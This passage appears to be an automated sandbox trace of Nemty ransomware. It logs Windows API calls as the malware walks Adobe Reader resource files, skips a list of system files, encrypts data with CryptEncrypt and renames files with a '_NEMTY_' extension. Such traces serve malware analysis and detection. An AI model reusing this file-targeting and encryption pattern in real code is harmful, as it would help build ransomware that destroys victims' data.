lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0195.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.512] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2._nemty_kgobjgd_")) returned 0 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0195.512] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-V", cAlternateFileName="90MS-R~3")) returned 1 [0195.512] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2=".") returned 1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="..") returned 1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="...") returned 1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="windows") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="$RECYCLE.BIN") returned 1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="rsa") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="NTDETECT.COM") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="ntldr") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="MSDOS.SYS") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="IO.SYS") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="boot.ini") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="boot.ini") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="AUTOEXEC.BAT") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="ntuser.dat") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="desktop.ini") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="CONFIG.SYS") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="RECYCLER") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="BOOTSECT.BAK") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="bootmgr") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="programdata") returned -1 [0195.513] lstrcmpiW (lpString1="90ms-RKSJ-V", lpString2="appdata") returned -1 [0195.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-V", lpUsedDefaultChar=0x0) returned 11 [0195.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-V", lpUsedDefaultChar=0x0) returned 11 [0195.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-V", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-V", lpUsedDefaultChar=0x0) returned 11 [0195.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-V", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-V", lpUsedDefaultChar=0x0) returned 11 [0195.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0195.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0195.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.514] Sleep (dwMilliseconds=0x5) [0195.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2830d6f0, dwHighDateTime=0x1d561e8)) [0195.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2830d6f0, dwHighDateTime=0x1d561e8)) [0195.528] GetLastError () returned 0x5 [0195.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.528] GetLastError () returned 0x5 [0195.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.528] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0195.529] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0195.529] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0195.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0195.529] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="EU3kFQGMKxIRPJFWH6KIZlXkqh7eyqyNuBAn4W3D1oPu55+vwN8PN1vPinCkOmK1\r\nblUWv9A5COTGQ3MQAzNgJvGUsonqvWhzjpG4250ZrqFkkngy3+fc1romQdqIeEth\r\nFy7WN2Lt4XBsXF+Bk1Qw7bRq7b8im5trOydy+ylchwUuK8zMnDuN+Hd3hQXVuK2L\r\nVvQFihavEvYSiCa2nab5E0c7F2jvR6JM0Ngt5/kpphEyucY73/4KN4W3LbcgxtqA\r\nke/IiiEpqtL4A7txS6cOeJ4g7JFL1Xwvz8NIsjCw7jHXFYYsbmhR+vhWx/5zkrxU\r\nGMRFZfozJw5j8mozSXsSUA==\r\n", pcchString=0x653e91c) returned 1 [0195.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0195.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0195.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0195.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0195.529] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.529] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0195.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0195.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0195.634] CloseHandle (hObject=0xffffffff) returned 0 [0195.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0195.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0195.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.635] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v._nemty_kgobjgd_")) returned 0 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0195.635] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-H", cAlternateFileName="90MSP-~1")) returned 1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2=".") returned 1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="..") returned 1 